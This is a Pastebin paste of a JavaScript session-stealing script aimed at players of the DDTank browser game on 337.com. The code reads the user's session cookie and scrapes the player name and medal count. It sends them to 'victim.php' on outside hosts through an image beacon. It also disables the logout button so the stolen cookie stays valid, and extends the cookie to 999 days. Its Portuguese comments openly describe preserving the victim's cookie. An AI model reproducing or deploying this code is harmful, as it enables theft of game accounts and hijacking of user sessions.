Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* BY PHOENIX, PORRA */
- if (!location.href.match("337.com")) {
- alert("Por favor, faça em uma página do DDTank!");
- return false;
- };
- if (!i) {
- return false;
- };
- if (!document.cookie.match("elx337_user")) {
- elex.dialog.show({
- type: "text",
- value: "Por favor, conecte-se."
- }, null);
- return false;
- };
- player = {
- session: document.cookie.match(/elx337_user=(.+);/)[0].split("=")[1].split(";")[0],
- name: undefined,
- medals: undefined
- };
- if (location.href.match("br.337.com")) {
- $.ajax({
- url: "/user/profile",
- success: function (x) {
- player["name"] = x.match(/headUserName">(.+)</)[0].split(">")[1].split("<")[0];
- player["medals"] = x.match(/<font>(.+\/.+)/gi)[0].replace('<b>', '').replace('</b>', '').split('>')[1].split('<')[0];
- new Image().src = "http://site.com.br/php/victim.php?session=" + escape(player.session) + "&name=" + escape(player.name) + "&medals=" + escape(player.medals) + "&i=" + i;
- elex.dialog.show({
- type: "text",
- value: "<b>" + player.name + "</b>, aguarde um pouco, ok?"
- }, null);
- }
- });
- };
- if (location.href.match("apps.337.com")) {
- $.ajax({
- url: "/ddtank",
- success: function (x) {
- player["name"] = x.match(/headUserName">(.+)</)[0].split('>')[1].split('<')[0];
- player["medals"] = "[Indefinido]";
- new Image().src = "http://thewixproject.com.br/php/victim.php?session=" + escape(player.session) + "&name=" + escape(player.name) + "&medals=" + escape(player.medals) + "&i=" + i;
- elex.dialog.show({
- type: "text",
- value: "<b>" + player.name + "</b>, aguarde um pouco, ok?"
- }, null);
- }
- });
- };
- // Coloquei no botao de sair apenas para fechar a pagina e para que o cookie da vitima nao seja apagado
- $("#elexlogout").click(function () {
- window.close();
- return false;
- });
- function setCookie(c_name, value, exdays) {
- var exdate = new Date();
- exdate.setDate(exdate.getDate() + exdays);
- var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
- document.cookie = c_name + "=" + c_value;
- };
- // Prendendo o cookie no dominio por tres anos, teoricamente, deixando ele inexpiravel.
- setCookie("elx337_user", player.session, 999);
Add Comment
Please, Sign In to add comment